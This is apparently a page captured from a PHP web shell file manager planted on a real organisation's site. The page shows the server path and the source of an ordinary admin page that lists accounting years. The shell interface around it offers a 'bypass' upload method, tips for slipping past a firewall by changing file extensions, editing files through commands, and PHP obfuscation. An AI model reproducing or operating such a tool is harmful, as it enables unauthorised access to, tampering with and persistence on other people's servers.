Search
Search
Search
Search
Information
Information
Light
Dark
Open actions menu
Basic upload method
Bypass upload method
Tips!
If you encounter an error (by firewall) while uploading using both methods,
try changing extension of the file before uploading it and rename it right after.
This uploader supports multiple file upload.
Submit
~
home
u148414079
domains
rnnycindia.org
public_html
rnnyc
web
admin
File Name:
<!-- header links --> <?php include "header_links.php"; ?> <!-- end header links --> <div class="wrapper"> <?php include "header.php"; ?> <?php include "sidebar.php"; ?> <div class="content-wrapper"> <section class="content-header"> <h1> </h1> <ol class="breadcrumb"> <li><a href="#"><i class="fa fa-dashboard"></i> Dashboard</a></li> <li class="active">Account year</li> </ol> </section> <section class="content"> <div class="box box-default"> <div class="box-header with-border"> <div class="col-sm-8"> <h3 class="box-title">Accounting Year </h3> </div> <div class="col-sm-4"> <div class="row"> <div class="col-sm-8 col-xs-6"><input type="text" name="search" id="search" onkeypress="" placeholder="Search..." class="form-control input-sm pull-right"></div> <div class="col-sm-4 col-xs-6"><a href="accnt_yr_create.php"> <button class="btn btn-sm btn-default pull-right"><i class="fa fa-plus-circle"></i> Add New</button> </a> </div> </div> </div> </div> <form id="courseForm" method="post" enctype="multipart/form-data" autocomplete="off" > <div class="box-body"> <div class="row"> <div class="container-fluid"> <div class="table-responsive"> <table class="table table-stripped table-condensed table-hover" id="courseTable"> <thead> <th>#</th> <th>Account year name</th> <th>From year</th> <th>To year</th> <th>Status</th> <th></th> </thead> <tbody> </tbody> </table> </div> </div> </div> </div> <div class="box-footer"> <ul class="pagination pagination-sm no-margin pull-right" id="page"> </ul> </div> </form> </div> </section> </div> <div class="modal"><!-- Place at bottom of page --></div> <!-- footer --> <?php include "footer.php"; ?> </div> <!-- footer links --> <?php include "footer_links.php"; ?> <!-- page script --> <script> $(document).ready(function(){ readAccountYr(); // Search $('#search').on("keyup", function(){ $('#courseTable tbody').html(""); readAccountYr($.trim(this.value)); }); }); function readAccountYr(search ='', page = 1) { let itemPerPage = 50 ; formData = new FormData(); formData.append("sort[by]", "created_at"); formData.append("sort[order]", "DESC"); formData.append("searchq", search); formData.append("limit", itemPerPage); formData.append("offset", (parseInt(page) - 1) * itemPerPage); $.ajax({ url: getHostAddress() + 'accounting_yr/read.php', data: formData, type: "POST", cache: false, processData: false, contentType: false, async: false, enctype: "multipart/form-data", beforeSend: function(){ $('body').addClass("loading"); }, complete: function(){ $('body').removeClass("loading"); }, success: function(response) { console.log(response); let tr = ''; let pagesNos = ''; if (response.success) { if((response.data.length) > 0){ for(let i = 0; i< (response.data.length); i++){ tr += '<tr>'+ '<td>'+(i+1)+'</td>'+ '<td>'+response.data[i].accnt_yr_name+'</td>'+ '<td>'+response.data[i].from_month_yr+'</td>'+ '<td>'+response.data[i].to_month_yr+'</td>'+ '<td>'+response.data[i].status+'</td>'+ '<td style="text-align:left;"><a href="accnt_yr_update.php?id='+response.data[i].id+'"><button type="button" class="btn btn-default btn-sm"><i class="fa fa-pencil"></i></button></a></td>'+ '</tr>'; } $('#courseTable tbody').html(tr); } if(response.count > itemPerPage){ for(var j = 0; j < response.total_pages; j++){ pagesNos += '<li><a href="javascript:void(0)" onclick="getData('+(j+1)+')">'+(j+1)+'</a></li>'; } $('#page').html(pagesNos); } }else { $('#courseTable tbody').html(`<tr><td colspan="6" style="text-align: center">No Records Found.</td></tr>`); toastr.error(response.msg); } } }); } // Pagination function getData(page){ readCourses(page) ; } </script>
Bypass Options
Select edit method
Using basic write file
Using command
Info
Info!
If the strings too long, it will be failed to edit file (command method only).
Obfuscate PHP:
No Obfuscate
Obfuscate
Save Changes